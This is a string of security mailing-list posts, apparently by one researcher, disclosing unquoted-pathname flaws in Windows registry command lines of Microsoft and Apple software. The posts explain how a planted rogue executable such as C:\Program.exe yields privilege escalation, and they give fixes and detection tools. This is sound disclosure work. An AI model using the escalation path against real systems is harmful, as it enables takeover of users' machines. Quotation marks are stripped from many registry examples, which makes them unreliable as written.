Hi @ll, in order to prevent the start of the defunct USENET news client (alias Windows Mail) that Microsoft installs with Windows 7 and later versions of Windows as Microsoft Outlook NewsReader, the installation of all editions of Microsoft Office 2010 which include Microsoft Outlook 2010 as well as the standalone version of the latter create the following registry entries for the Microsoft Outlook NewsReader with empty pathnames for the icons and in the command lines: --- DEFUNCT.REG --- REGEDIT4 ; PLEASE NOTICE THE PROPERLY QUOTED ALBEIT EMPTY PATHNAMES! [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook] @=Microsoft Outlook DLLPath=MSIMNUI.DLL [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols] @= [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\news] @=URL:News-Protokoll URL Protocol= EditFlags=dword:0002 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\news\DefaultIcon] @=, -3 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\news\shell] @= [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\news\shell\open] @= [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\news\shell\open\command] @=\\ /outnews /newsurl:%1 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\nntp] @=URL:NNTP-Protokoll URL Protocol= EditFlags=dword:0002 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\nntp\DefaultIcon] @=, -3 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\nntp\shell] @= [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\nntp\shell\open] @= [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\nntp\shell\open\command] @=\\ /outnews /newsurl:%1 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\snews] @=URL:Snews-Protokoll URL Protocol= EditFlags=dword:0002 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\snews\DefaultIcon] @=, -3 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\snews\shell] @= [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\snews\shell\open] @= [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\Protocols\snews\shell\open\command] @=\\ /outnews /newsurl:%1 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\shell] @= [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\shell\open] @= [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\News\Microsoft Outlook\shell\open\command] @=\\ /outnews --- EOF --- JFTR: the superfluous empty unnamed (default) registry values are created due to a well-known bug in the tools (not only) Microsoft uses to build packages for the Microsoft Installer. See but https://msdn.microsoft.com/en-us/library/bb165967.aspx why creating an empty default registry value (not only) for the open verb is a bug: | When registering standard verbs, do not set the default value | for the Open key. The default value contains the display string | on the menu. The operating system supplies this string for | standard verbs. regards Stefan Kanthak PS: Windows 7, and of course Windows 8, Windows 8.1 and Windows 10 too, have at least one command line with an empty but properly quoted pathname out-of-the-box, even before the installation of Microsoft Outlook 2010: [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Windows Mail\InstallInfo] ShowIconsCommand=expand:\\
[ANN] MSKB 3004375 available for Windows 2000 and later too (but NOT from Mcirosoft)
Hi @ll, yesterday Microsoft published the security advisory 3004375 https://technet.microsoft.com/en-us/library/security/3004375 announcing an update which enables Windows 7 and newer to log the command lines used to start processes to the event log. If you want to have this functionality on older versions of Windows too see http://home.arcor.de/skanthak/appinit.html (but notice the license terms). Limitation: command lines of processes that dont load USER32.DLL are not logged. Fortunately almost all Win32 applications but load USER32.DLL JFTR: APPINIT.DLL works since 20 years. regards Stefan Kanthak
Defense in depth -- the Microsoft way (part 27): the command line you get differs from the command line I use to call you
Hi @ll, on Windows, the command line an application receives can differ from the command line the calling application supplies to CreateProcess*(). The documentation of GetCommandLine() https://msdn.microsoft.com/en-us/library/ms683156.aspx tells: | Note The name of the executable in the command line that | the operating system provides to a process is not necessarily | identical to that in the command line that the calling process | gives to the CreateProcess function. The operating system may | prepend a fully qualified path to an executable name that is | provided without a fully qualified path. This is not the whole truth, another Note is missing there: when CreateProcess*() is called using a command line with an UNQUOTED long filename/pathname containing spaces (a well-known VULNERABILITY: https://cwe.mitre.org/data/definitions/428.html) it uses tryerror to guess the pathname of the executable. The documentation of CreateProcess() https://msdn.microsoft.com/en-us/library/ms682425.aspx tells: | [...] the module name must be the first white space-delimited | token in the lpCommandLine string. If you are using a long file | name that contains a space, use quoted strings to indicate where | the file name ends and the arguments begin; otherwise, the file | name is ambiguous. For example, consider the string | c:\program files\sub dir\program name. | This string can be interpreted in a number of ways. The system | tries to interpret the possibilities in the following order: |c:\program.exe files\sub dir\program name |c:\program files\sub.exe dir\program name |c:\program files\sub dir\program.exe name |c:\program files\sub dir\program name.exe In the latter 3 cases the command line is but modified too: Windows adds quotes around the part of the command line which forms the result of this interpretation and yields the path to the executable if this part contains a space. The 4 command lines shown above are transformed into: c:\program.exe files\sub dir\program name c:\program files\sub.exe dir\program name c:\program files\sub dir\program.exe name c:\program files\sub dir\program name.exe JFTR: without this transformation splitting of the command line into the argv vector would give wrong results ... in presense of CreateProcess*() braindead behaviour! Stay tuned! regards Stefan Kanthak PS: the documentation of CommandLineToArgvW() https://msdn.microsoft.com/en-us/library/bb776391.aspx contains a funny and surprising remark: | This function accepts command lines that contain a program name; | the program name can be enclosed in quotation marks or not. This does but NOT mean that CommandLineToArgvW() tries to guess like CreateProcess()! It treats c:\program files\sub dir\program name as c:\program files\sub dir\program name.
Defense in depth -- the Microsoft way (part 26): Set Program Access and Computer Defaults hides applications like Outlook
Hi @ll, in order to prevent the possible execution of a rogue program like C:\Program.exe or C:\Program Files\Microsoft.exe, on x64 also C:\Program Files.exe or C:\Program Files (x86)\Microsoft.exe, due to the beginner's error of using unquoted pathnames containing spaces (see https://cwe.mitre.org/data/definitions/428.html), Windows' [*] Set Program Access and Computer Defaults (SPAD, see http://msdn.microsoft.com/library/cc144162.aspx) hides programs that are registered with such erroneous and vulnerable command lines. For example Microsoft Outlook 2007, Microsoft Outlook 2010 as well as Microsoft Outlook 2013. If you have one of these versions of Microsoft Outlook installed but can't configure it with SPAD, export its registry entries with the erroneous and vulnerable command lines into a file OUTLOOK.REG: REGEDIT.EXE /A OUTLOOK.REG HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Microsoft Outlook\InstallInfo The file OUTLOOK.REG will look like this (the wildcard ? varies with your version of Outlook): --- OUTLOOK.REG --- REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Microsoft Outlook\InstallInfo] IconsVisible=dword:0001 HideIconsCommand=C:\\Program Files\\Microsoft Office\\OFFICE1?\\OUTLOOK.EXE /spadhideicons ShowIconsCommand=C:\\Program Files\\Microsoft Office\\OFFICE1?\\OUTLOOK.EXE /spadshowicons ReinstallCommand=C:\\Program Files\\Microsoft Office\\OFFICE1?\\OUTLOOK.EXE /spadreinstall --- EOF --- Open the file with your favorite editor and insert the string \ before and after (the 3 occurences of) the pathname C:\\Program Files\\Microsoft Office\\OFFICE1#\\OUTLOOK.EXE The corrected file should look like this: --- OUTLOOK.REG --- REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Microsoft Outlook\InstallInfo] IconsVisible=dword:0001 HideIconsCommand=\C:\\Program Files\\Microsoft Office\\OFFICE1?\\OUTLOOK.EXE\ /spadhideicons ShowIconsCommand=\C:\\Program Files\\Microsoft Office\\OFFICE1?\\OUTLOOK.EXE\ /spadshowicons ReinstallCommand=\C:\\Program Files\\Microsoft Office\\OFFICE1?\\OUTLOOK.EXE\ /spadreinstall --- EOF --- Save your changes and import the file into the registry: REGEDIT.EXE /S OUTLOOK.REG Start SPAD again and find Microsoft Office Outlook now displayed as mail program. enjoy Stefan Kanthak [*] at least Windows 7, but I assume this behaviour was introcuded with Windows Vista; in earlier versions of Windows SPAD but displays applications with erroneous and vulnerable command lines and runs rogue programs! PS: will MSFT ever afford a QA that can find such bloody trivial beginner's errors?
Defense in depth -- the Microsoft way (part 23): two quotes or not to quote...
Hi @ll, some Windows commands/programs fail when (one of) their command line argument(s) is/are enclosed in quotes; for example: %SystemRoot%\System32\FontView.Exe pathname.TTF %SystemRoot%\System32\FONTVIEW.Exe /P filename.TTF %SystemRoot%\System32\RunDLL32.Exe %SystemRoot%\System32\SetupAPI.Dll,InstallHinfSection section flags pathname.INF The failure messages shown by both commands are priceless, they dont give the slightest hint why they fail at all.-( JFTR: both commands support (like NOTEPAD.EXE or CreateProcess(), see http://msdn.microsoft.com/library/ms682425.aspx) long but unquoted file/pathnames containing spaces! Another example: %TEMP%\just a test.eml Echo Subject: Just a test %ProgramFiles%\Windows Mail\WinMail.Exe /EML:%TEMP%\just a test.eml %ProgramFiles%\Windows Mail\WinMail.Exe /ForwardEML:%TEMP%\just a test.eml %ProgramFiles%\Windows Mail\WinMail.Exe /ReplyEML:%TEMP%\just a test.eml %ProgramFiles%\Windows Mail\WinMail.Exe /ReplyAllEML:%TEMP%\just a test.eml %TEMP%\just a test.nws Echo Subject: Just a test %ProgramFiles%\Windows Mail\WinMail.Exe /NWS:%TEMP%\just a test.nws %ProgramFiles%\Windows Mail\WinMail.Exe /ForwardNWS:%TEMP%\just a test.nws %ProgramFiles%\Windows Mail\WinMail.Exe /ReplyNWS:%TEMP%\just a test.nws %ProgramFiles%\Windows Mail\WinMail.Exe /ReplyAllNWS:%TEMP%\just a test.nws show the error message The File ...\just a test.eml could not be opened because it does not exist or is being used by another application. (0x800CCF65, 123) At least this message gives a very slight hint: the Win32 error '123' alias ERROR_INVALID_NAME is The filename, directory name, or volume label syntax is incorrect; see http://msdn.microsoft.com/library/ms681382.aspx or run NET.EXE HelpMsg 123 Again, same as above: this program works when the argument is not quoted, despite the long pathname containing spaces: %ProgramFiles%\Windows Mail\WinMail.Exe /EML:%TEMP%\just a test.eml %ProgramFiles%\Windows Mail\WinMail.Exe /NWS:%TEMP%\just a test.nws BUT: %ProgramFiles%\Windows Mail\WinMail.Exe /MailURL:mailto:mail...@example.com?subject=...; %ProgramFiles%\Windows Mail\WinMail.Exe /NewsURL:mailto:mail...@example.com?subject=...; both work with a quoted argument! JFTR: if you dont have Windows Mail, but Windows Live Mail or Outlook Express: they too show the same inconsistent and surprising behaviour. I have not checked whether Outlook has the same bug, but I'm confident it has.-( WTF? Microsoft, can't you afford a QA? And one more: the AppInit_DLLs registry entry (see https://support.microsoft.com/kb/197571 as well as https://msdn.microsoft.com/library/dd744762.aspx). JFTR: although AppInit_DLLs are only supported on Windows NT (see https://support.microsoft.com/kb/134655) a braindead developer choose not to use a REG_MULTI_SZ value (avoiding the need to interpret spaces as separator and thus supporting long filenames). have fun Stefan Kanthak
Still beginner's errors (and outdated 3rd party components) in QuickTime 7.7.6 and iTunes 12.0.1
Hi @ll,
the just released QuickTime 7.7.6 and iTunes 12.0.1 for Windows still
have quite some of the beginners errors I documented in
http://seclists.org/fulldisclosure/2014/Aug/33 and
http://seclists.org/fulldisclosure/2014/Aug/44
QuickTime 7.7.6:
[HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media\QuickTime\shell\open\command]
@=C:\\Program Files\\QuickTime\\QuickTimePlayer.exe
iTunes 12.0.1:
[HKEY_CLASSES_ROOT\daap\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\itls\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\itms\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\itmss\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\itpc\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\itsradio\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\itunesradio\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.daap\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.itls\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.itms\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.itmss\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.itpc\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.pcast\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\pcast\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe /url \%1\
[HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media\iTunes\shell\open\command]
@=C:\\Program Files\\...\\iTunes.exe
Also, QuickTime 7.7.6 comes with version 2.3.6 of Apple's application
support, while iTunes 12.0.1 comes with version 3.1 of this package.
While the older version 2.3.6 properly quotes the command lines in
[HKEY_CLASSES_ROOT\CLSID\{fdd068c2-d51a-4175-8a20-5cbc704ea3bd}\LocalServer32]
@=\C:\\Program Files\\...\\APSDaemon.exe\
[HKEY_CLASSES_ROOT\CLSID\{6812639B-FD61-4329-9901-22CFDBD690FE}\LocalServer32]
@=\C:\\Program Files\\...\\APSDaemon.exe\
the newer version 3.1 does not:
[HKEY_CLASSES_ROOT\CLSID\{fdd068c2-d51a-4175-8a20-5cbc704ea3bd}\LocalServer32]
@=C:\\Program Files\\...\\APSDaemon.exe
[HKEY_CLASSES_ROOT\CLSID\{6812639B-FD61-4329-9901-22CFDBD690FE}\LocalServer32]
@=C:\\Program Files\\...\\APSDaemon.exe
[HKEY_CLASSES_ROOT\CLSID\{D9E904CA-8865-42E7-B0F0-B7B8C4D54D70}\LocalServer32]
@=C:\\Program Files\\...\\APSDaemon.exe
Additionally, application support 3.1 contains outdated and vulnerable
version 10.0.40219.1 of MSVCR100.DLL and MSVCP100.DLL
Cf. http://support.microsoft.com/kb/24671743 and
http://support.microsoft.com/kb/2565063 alias
http://www.microsoft.com/technet/security/bulletin/ms11-025
Will Apple's developers and their QA EVER learn how to use filenames
with embedded spaces properly?
regards
Stefan Kanthak
iTunes 12.0.1 for Windows: still COMPLETELY outdated and VULNERABLE 3rd party libraries
Hi @ll, the just released iTunes 12.0.1 for Windows still (cf. http://seclists.org/fulldisclosure/2014/Jul/30) comes with COMPLETELY outdated and VULNERAEBLE 3rd party libraries (as part of AppleMobileDeviceSupport.msi): * libeay32.dll and ssleay32.dll 0.9.8d are more than SEVEN years old and have at least 27 unfixed CVEs! * libcurl.dll 7.16.2 is more than SEVEN years old and has at least 18 unfixed CVEs! the current version is 7.38.0; see http://curl.haxx.se/docs/security.html for the fixed vulnerabilities! Until Apple's developers, their QA and their managers start to develop a sense for safety and security: stay away from their (Windows) software! regards Stefan Kanthak Timeline: ~ 2014-06-06informed vendor 2014-06-06vendor sent automated response ... no more reaction 2014-07-03requested status ... no answer
Defense in depth -- the Microsoft way (part 19): still no perfect forward secrecy per default in Windows 8/7/Vista/Server 2012/Server 2008 [R2]
Hi @ll, on April 8, 2014 Microsoft published an update for Windows 8.1 and Windows Server 2012 R2 (see http://support.microsoft.com/kb/2929781) which enables perfect forward secrecy per default by reordering of the TLS cipher suites. Unfortunately Microsoft has not published corresponding updates for Windows 8/Server 2012, Windows 7/Server 2008 R2 and Windows Vista/ Server 2008, despite numerous requests from its customers, although these version support perfect forward secrecy. For example, see https://connect.microsoft.com/IE/feedback/details/796877/better-support-for-perfect-forward-secrecy Fortunately it's dead simple to enable perfect forware secrecy in Windows Vista and later versions: just change the order of the TLS cipher suites in the registry entry [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\Configuration\Local\SSL\00010002] Functions=multi:... and reboot. For Windows 7/Server 2008 R2/8/Server 2012 you can use the script http://home.arcor.de/skanthak/download/NT6_PFS.INF to perform all the necessary changes to enable PFS as well as TLS 1.2 and disable some week algorithms/ciphers too. You'll see the success when you visit https://www.howsmyssl.com/, https://www.ssllabs.com/ssltest/viewMyClient.html or https://cc.dcsec.uni-hannover.de/ with Internet Explorer 8 and later after the reboot. have fun Stefan Kanthak JFTR: IPsec is able to use perfect forward secrecy for MANY years, see http://support.microsoft.com/kb/252735, http://support.microsoft.com/kb/301284 and http://support.microsoft.com/kb/816514 as well as http://technet.microsoft.com/library/cc759504.aspx
Defense in depth -- the Microsoft way (part 18): Microsoft Office 2010 registers command lines with unquoted pathnames
Hi @ll, Microsoft Office 2010 registers the following command lines with unquoted pathnames containing spaces for various supported file types: | C:\ FType | FIND.EXE =%ProgramFiles%\Microsoft | | access=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | Access.ACCDAExtension.14=C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE /NOSTARTUP %1 | Access.Extension.14=C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE /NOSTARTUP %1 | Access.Shortcut.Query.1=C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenQuery %1] | Access.Shortcut.Table.1=C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenTable %1] | Access.UriLink.14=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | dqyfile=C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | excel=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | Excel.Chart=C:\Program Files\Microsoft Office\Office14\EXCEL.EXE /dde | Excel.UriLink.14=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | iqyfile=C:\Program Files\Microsoft Office\Office14\EXCEL.EXE /dde | ms-access=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | ms-excel=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | ms-powerpoint=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | ms-publisher=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | ms-word=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | Outlook.File.eml.14=C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE /eml %1 | powerpoint=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | PowerPoint.Show.4=C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE %1 | PowerPoint.Show.7=C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE %1 | PowerPoint.Slide.12=C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE %1 | PowerPoint.Slide.4=C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE %1 | PowerPoint.Slide.7=C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE %1 | PowerPoint.Slide.8=C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE %1 | PowerPoint.SlideMacroEnabled.12=C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE %1 | PowerPoint.UriLink.14=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | publisher=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | Publisher.UriLink.14=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | word=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 | Word.UriLink.14=C:\Program Files\Microsoft Office\Office14\protocolhandler.exe %1 From http://msdn.microsoft.com/library/cc144175.aspx or http://msdn.microsoft.com/library/cc144101.aspx: | Note: If any element of the command string contains or might contain ~~ | spaces, it must be enclosed in quotation marks. Otherwise, if the ~~~ | element contains a space, it will not parse correctly. For instance, | My Program.exe starts the application properly. If you use | My Program.exe without quotation marks, then the system attempts to | launch My with Program.exe as its first command line argument. Fortunately these command lines are NOT used when a user opens a file associated with Office 2010 via Windows Explorer: Microsoft Office is installed via Windows Installer and lets it create Darwin descriptors (see http://msdn.microsoft.com/en-us/library/aa302344.aspx). In the presence of a Darwin descriptor ShellExecute*() does not use the command line displayed by FType, but queries Windows Installer for it. BUT: all program(mer)s who dont use ShellExecute*() but query the registry for the associated command line will execute the rogue programs C:\Program.exe or C:\Program Files\Microsoft.exe regards Stefan Kanthak
Beginners error: Apple's Software Update runs rogue program C:\Program.exe (and some more)
Hi @ll,
C:\Program Files\Apple Software Update\SoftwareUpdate.exe, part
of Apple's Software Update and installed together with iTunes,
QuickTime and other of Apple's crap for Windows, is periodically
called with the argument -task.
This invokes the COM server {91A9E6A9-3935-4A37-AFBA-F0904B166364}
alias AppleSoftwareUpdate.ASUInstallhost, implemented in the DLL
C:\Program Files\Apple Software Update\SoftwareUpdateAdmin.Dll
This COM server runs with administrative rights and executes the
command line
C:\Program Files\Apple Software Update\SoftwareUpdate.exe -background
without properly quoted pathname, resulting in the execution of one
of the rogue programs C:\Program.exe, C:\Program Files\Apple.exe
or C:\Program Files\Apple Software.exe (on x86) resp. C:\Program.exe,
C:\Program Files.exe, C:\Program Files (x86)\Apple.exe or
C:\Program Files\Apple Software.exe (on x64) with administrative
rights.
From http://msdn.microsoft.com/library/cc144175.aspx
or http://msdn.microsoft.com/library/cc144101.aspx:
| Note: If any element of the command string contains or might contain
~~
| spaces, it must be enclosed in quotation marks. Otherwise, if the
~~~
| element contains a space, it will not parse correctly. For instance,
| My Program.exe starts the application properly. If you use
| My Program.exe without quotation marks, then the system attempts to
| launch My with Program.exe as its first command line argument.
Since every user account created during Windows setup has administrative
rights every user owning such an account can create the rogue program(s),
resulting in a privilege escalation.
JFTR: no, the user account control is not a security boundary!
From http://support.microsoft.com/kb/2526083:
| Same-desktop Elevation in UAC is not a security boundary and can be hijacked
| by unprivileged software that runs on the same desktop. Same-desktop
| Elevation should be considered a convenience feature, and from a security
| perspective, Protected Administrator should be considered the equivalent
| of Administrator.
regards
Stefan Kanthak
Beginners error: Windows Live Mail 2011 runs rogue C:\Program.exe when opening associated URLs
Hi @ll, the following command lines associated with the URL protocols of Windows Live Mail 2011 (15.4.3538.513) WLMail.Url.Mailto=C:\Program Files (x86)\Windows Live\Mail\wlmail.exe /mailurl:%1 WLMail.Url.news=C:\Program Files (x86)\Windows Live\Mail\wlmail.exe /newsurl:%1 WLMail.Url.nntp=C:\Program Files (x86)\Windows Live\Mail\wlmail.exe /newsurl:%1 WLMail.Url.snews=C:\Program Files (x86)\Windows Live\Mail\wlmail.exe /newsurl:%1 execute the rogue programs C:\Program.exe, C:\Program Files\Windows.exe (on x86) resp. C:\Program Files.exe or C:\Program Files (x86)\Windows.exe (on x64) with the credentials of the user whenever the user opens one of the associated URLs. From http://msdn.microsoft.com/library/cc144175.aspx or http://msdn.microsoft.com/library/cc144101.aspx: | Note: If any element of the command string contains or might contain ~~ | spaces, it must be enclosed in quotation marks. Otherwise, if the ~~~ | element contains a space, it will not parse correctly. For instance, | My Program.exe starts the application properly. If you use | My Program.exe without quotation marks, then the system attempts to | launch My with Program.exe as its first command line argument. Since every user account created during Windows setup has administrative rights every user owning such an account can create the rogue program(s), resulting in a privilege escalation. JFTR: no, the user account control is not a security boundary! From http://support.microsoft.com/kb/2526083: | Same-desktop Elevation in UAC is not a security boundary and can be hijacked | by unprivileged software that runs on the same desktop. Same-desktop | Elevation should be considered a convenience feature, and from a security | perspective, Protected Administrator should be considered the equivalent | of Administrator. JFTR: if you or your customers, family etc. still use Windows Live Mail 2011, see https://technet.microsoft.com/library/security/ms13-045 and upgrade to Windows Live Mail 2012 ASAP! regards Stefan Kanthak PS: the associations for .eml and .nws DONT show this beginners error: WindowsLiveMail.Email.1=C:\Program Files (x86)\Windows Live\Mail\wlmail.exe /eml:%1 WindowsLiveMail.News.1=C:\Program Files (x86)\Windows Live\Mail\wlmail.exe /nws:%1 Unfortunately their argument %1 is not quoted, see above!
Beginners error: Apple's iCloudServices for Windows run rogue program C:\Program.exe (and some more)
Hi @ll,
C:\Program Files\Common Files\Apple\Internet Services\iCloudServices.exe,
part of Apple's iCloudServices (see https://www.apple.com/icloud/), is
configured to be started as (COM) server via SvcHost.Exe.
Unfortunately the developers of this (COM) server (and of course their QA
too) did a lousy job and let their installer create the following erroneous
registry entries with a command line that contains an unquoted pathname:
[HKEY_CLASSES_ROOT\CLSID\{23ad9193-ebad-42bf-8d03-fec6331270f2}\LocalServer32]
@=C:\\Program Files\\Common Files\\Apple\\Internet
Services\\iCloudServices.exe
[HKEY_CLASSES_ROOT\CLSID\{9e6e74c7-0e85-4d14-8851-7635e2c1c528}\LocalServer32]
@=C:\\Program Files\\Common Files\\Apple\\Internet
Services\\iCloudServices.exe
The unquoted pathname results in the execution of one of the rogue programs
C:\Program.exe, C:\Program Files\Common.exe or
C:\Program Files\Common Files\Apple\Internet.exe (on x86) resp.
C:\Program.exe, C:\Program Files.exe, C:\Program Files (x86)\Common.exe
or C:\Program Files (x86)\Common Files\Apple\Internet.exe (on x64) with
the rights of the logged on user.
JFTR: the other 3 registry entries created for this COM server dont show
this beginners error and have the pathname properly quoted:
[HKEY_CLASSES_ROOT\CLSID\{1510187E-FE19-4F42-9C43-22C6E9E6AA67}\LocalServer32]
@=\C:\\Program Files\\Common Files\\Apple\\Internet
Services\\iCloudServices.exe\
[HKEY_CLASSES_ROOT\CLSID\{c1da7e1f-279b-4acd-9196-fc6ef7eb8e9e}\LocalServer32]
@=\C:\\Program Files\\Common Files\\Apple\\Internet
Services\\iCloudServices.exe\
[HKEY_CLASSES_ROOT\CLSID\{dd000cbd-67a6-423f-9132-1a2d0f76ead5}\LocalServer32]
@=\C:\\Program Files\\Common Files\\Apple\\Internet
Services\\iCloudServices.exe\
Since every user account created during Windows setup has administrative
rights every user owning such an account can create the rogue program(s),
resulting in a privilege escalation.
JFTR: no, the user account control is not a security boundary!
From http://support.microsoft.com/kb/2526083:
| Same-desktop Elevation in UAC is not a security boundary and can be hijacked
| by unprivileged software that runs on the same desktop. Same-desktop
| Elevation should be considered a convenience feature, and from a security
| perspective, Protected Administrator should be considered the equivalent
| of Administrator.
JFTR: iCloudServices ships with even older outdated and vulnerable 3rd party
(open source) libraries than iTunes, see
http://seclists.org/fulldisclosure/2014/Jul/30
- libxslt.dll 1.0.9.0
- libxml2.dll 2.1.13.0
- icuuc40.dll, icuin40.dll, icudt46.dll. libicuin.dll, libicuuc.dll
4.6.1.0
regards
Stefan Kanthak
PS: the obvious and trivial fix: edit the 2 erroneous command lines and
add the missing quotes. But dont forget to fix them after every update
of Apple's crap for Windows.
Beginners error: QuickTime for Windows runs rogue program C:\Program.exe when opening associated files
use | My Program.exe without quotation marks, then the system attempts to | launch My with Program.exe as its first command line argument. You | should always use quotation marks with arguments such as %1 that are | expanded to strings by the Shell, because you cannot be certain that | the string will not contain a space. These command lines run the rogue program C:\Program.exe whenever the user double-clicks an associated file with the credentials of the user. Since every user account created during Windows setup has administrative rights every user owning such an account can create the rogue program, resulting in a privilege escalation. JFTR: no, the user account control is not a security boundary! From http://support.microsoft.com/kb/2526083: | Same-desktop Elevation in UAC is not a security boundary and can be hijacked | by unprivileged software that runs on the same desktop. Same-desktop | Elevation should be considered a convenience feature, and from a security | perspective, Protected Administrator should be considered the equivalent | of Administrator. JFTR: this bugs only exists since Microsoft masks it. See http://msdn.microsoft.com/library/ms682425.aspx for this well-known idiosyncrasy: | For example, consider the string c:\program files\sub dir\program name. | This string can be interpreted in a number of ways. | The system tries to interpret the possibilities in the following order: | c:\program.exe files\sub dir\program name | c:\program files\sub.exe dir\program name | c:\program files\sub dir\program.exe name | c:\program files\sub dir\program name.exe Without this kludge this beginners error would get caught upon the very first use of any of these command lines. Long filenames containing spaces exist for about 20 years in Windows. It's REALLY time that every developer and every QA engineer knows how to handle them properly. If you detect such silly beginners errors: report them and get them fixed. If the vendor does not fix them: trash the trash! regards Stefan Kanthak PS: for static detection of these silly beginners errors download and run http://home.arcor.de/skanthak/download/SLOPPY.CMD To catch all instances of this beginners error download http://home.arcor.de/skanthak/download/SENTINEL.CMD, http://home.arcor.de/skanthak/download/SENTINEL.DLL and http://home.arcor.de/skanthak/download/SENTINEL.EXE, then read and run the script SENTINEL.CMD PPS: to fix these beginners errors for QuickTime (and iTunes too), download http://home.arcor.de/skanthak/download/QUICKTIME.CMD resp. http://home.arcor.de/skanthak/download/ITUNES.CMD and run these scripts. Dont forget to rerun them after every update of QuickTime or iTunes ... until Apple fixes their crapware!
Re: [FD] Beginner's error: import function of Windows Mail executes rogue program C:\Program.exe with credentials of other account
